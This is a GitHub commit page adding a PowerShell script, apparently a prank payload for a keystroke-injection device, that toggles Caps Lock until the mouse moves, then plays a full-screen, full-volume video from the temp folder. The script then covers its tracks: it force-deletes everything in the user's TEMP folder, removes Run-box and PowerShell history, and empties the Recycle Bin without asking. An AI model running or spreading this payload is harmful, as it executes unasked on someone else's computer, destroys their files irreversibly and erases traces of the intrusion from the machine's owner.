-
-
Notifications
You must be signed in to change notification settings - Fork 666
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
2f714f6
commit ffae1e9
Showing
2 changed files
with
74 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
function Target-Comes { | ||
Add-Type -AssemblyName System.Windows.Forms | ||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X | ||
$o=New-Object -ComObject WScript.Shell | ||
|
||
while (1) { | ||
$pauseTime = 3 | ||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ | ||
break | ||
} | ||
else { | ||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime | ||
} | ||
} | ||
} | ||
|
||
############################################################################################################################################# | ||
|
||
|
||
#WPF Library for Playing Movie and some components | ||
Add-Type -AssemblyName PresentationFramework | ||
|
||
Add-Type -AssemblyName System.ComponentModel | ||
#XAML File of WPF as windows for playing movie | ||
|
||
[xml]$XAML = @" | ||
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" | ||
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" | ||
Title="PowerShell Video Player" WindowState="Maximized" ResizeMode="NoResize" WindowStartupLocation="CenterScreen" > | ||
<MediaElement Stretch="Fill" Name="VideoPlayer" LoadedBehavior="Manual" UnloadedBehavior="Stop" /> | ||
</Window> | ||
"@ | ||
|
||
#Movie Path | ||
[uri]$VideoSource = "$env:TMP\rr.mp4" | ||
|
||
#Devide All Objects on XAML | ||
$XAMLReader=(New-Object System.Xml.XmlNodeReader $XAML) | ||
$Window=[Windows.Markup.XamlReader]::Load( $XAMLReader ) | ||
$VideoPlayer = $Window.FindName("VideoPlayer") | ||
|
||
|
||
#Video Default Setting | ||
$VideoPlayer.Volume = 100; | ||
$VideoPlayer.Source = $VideoSource; | ||
#$VideoPlayer.Padding = new Thickness(5); | ||
|
||
|
||
Target-Comes | ||
|
||
$VideoPlayer.Play() | ||
|
||
#Show Up the Window | ||
$Window.ShowDialog() | out-null | ||
|
||
|
||
# Turn of capslock if it is left on | ||
|
||
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') | ||
if ($caps -eq $true){$key = New-Object -ComObject WScript.Shell;$key.SendKeys('{CapsLock}')} | ||
|
||
|
||
# empty temp folder | ||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue | ||
|
||
# delete run box history | ||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f | ||
|
||
# Delete powershell history | ||
Remove-Item (Get-PSreadlineOption).HistorySavePath | ||
|
||
# Empty recycle bin | ||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue |